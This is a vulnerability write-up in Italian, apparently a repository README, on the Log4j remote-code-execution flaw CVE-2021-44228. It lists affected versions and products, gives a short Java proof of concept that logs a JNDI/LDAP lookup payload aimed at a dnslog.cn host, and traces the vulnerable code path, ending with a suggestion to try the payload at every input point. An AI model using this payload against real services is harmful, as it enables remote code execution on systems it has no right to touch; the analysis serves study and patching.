m1nggod/cve-2021-44228-log4j-lookup-rceAnalisi dettagliata e proof-of-concept per CVE-2021-44228 (Log4j RCE), comprendente configurazione dell'ambiente, analisi della vulnerabilità, meccanismo di iniezione JNDI e passaggi di riproduzione.
Jdk7u21 (qualsiasi versione va bene)
Versione interessata: Apache Log4j 2.x <= 2.14.1
Applicazioni e componenti noti interessati:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordinate Log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Guardando il payload, non possiamo evitare di cercare "log4j lookup" o "log4j jndi"
https://logging.apache.org/log4j/2.x/manual/lookups.html [documentazione in inglese]
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html [documentazione in cinese]
Possiamo vedere il metodo di utilizzo. Non è difficile notare che qui è supportato jndi, e jndi supporta altri protocolli che vengono convertiti, viene naturale pensare a ldap; facciamo un debug per vedere. Dato che ieri sera ho fatto debug fino alle cinque e mezza e la mattina avevo lezioni, sono andato a dormire, ho solo salvato gli screenshot del processo di analisi.
Senza troppe chiacchiere, andiamo oltre; dato che ieri notte ho fatto molte prove di debug, vado direttamente al punto chiave.
Direttamente al punto chiave: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)
org.apache.logging.log4j.core.pattern.PatternFormatter#format
Entriamo in questo metodo. In Java nativo questo metodo serve per formattare stringhe, non so se qui è lo stesso.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Qui attraverso getMessage() abbiamo ottenuto il nostro payload. Perché?
Non mi dilungo oltre; continuiamo.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Qui si vede che viene controllato se inizia con ${, se sì, viene eseguito, attivando il punto vulnerabile.
La documentazione di questo metodo si può trovare qui: https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html
Sembra che leggere la documentazione sia sufficiente; qui si ottiene il risolutore di variabili.
Subito dopo si entra in org.apache.logging.log4j.core.lookup.Interpolator#lookup
Ottiene il prefisso corrispondente e seleziona l'oggetto della classe jndi corrispondente: JndiLookup
Effettuando così un'iniezione jndi, raggiungendo l'obiettivo del caricamento remoto di classi.
Guardando la documentazione ufficiale, sostanzialmente attraverso la formattazione, ${jndi:ldap://uci5xf.dnslog.cn/test} viene sostituito con dati reali.
Riferimento: https://blog.csdn.net/lqzkcx3/article/details/82050375 Log4j utilizza una lookup per ottenere un protocollo; ottiene che il protocollo è jndi, data, sys, ecc. E all'interno è memorizzato in forma di mappa; viene rilevata la chiave corrispondente, ottenuta la lookup corrispondente ed eseguita. Si forma un'iniezione jndi standard.
Dal punto di ingresso, non è difficile vedere che, finché qualcosa viene registrato nei log, può essere eseguito (alcuni no). Poiché è scritto al volo, non approfondisco.
Il modo per sfruttarlo: provare tutti i punti di interazione, uno dopo l'altro.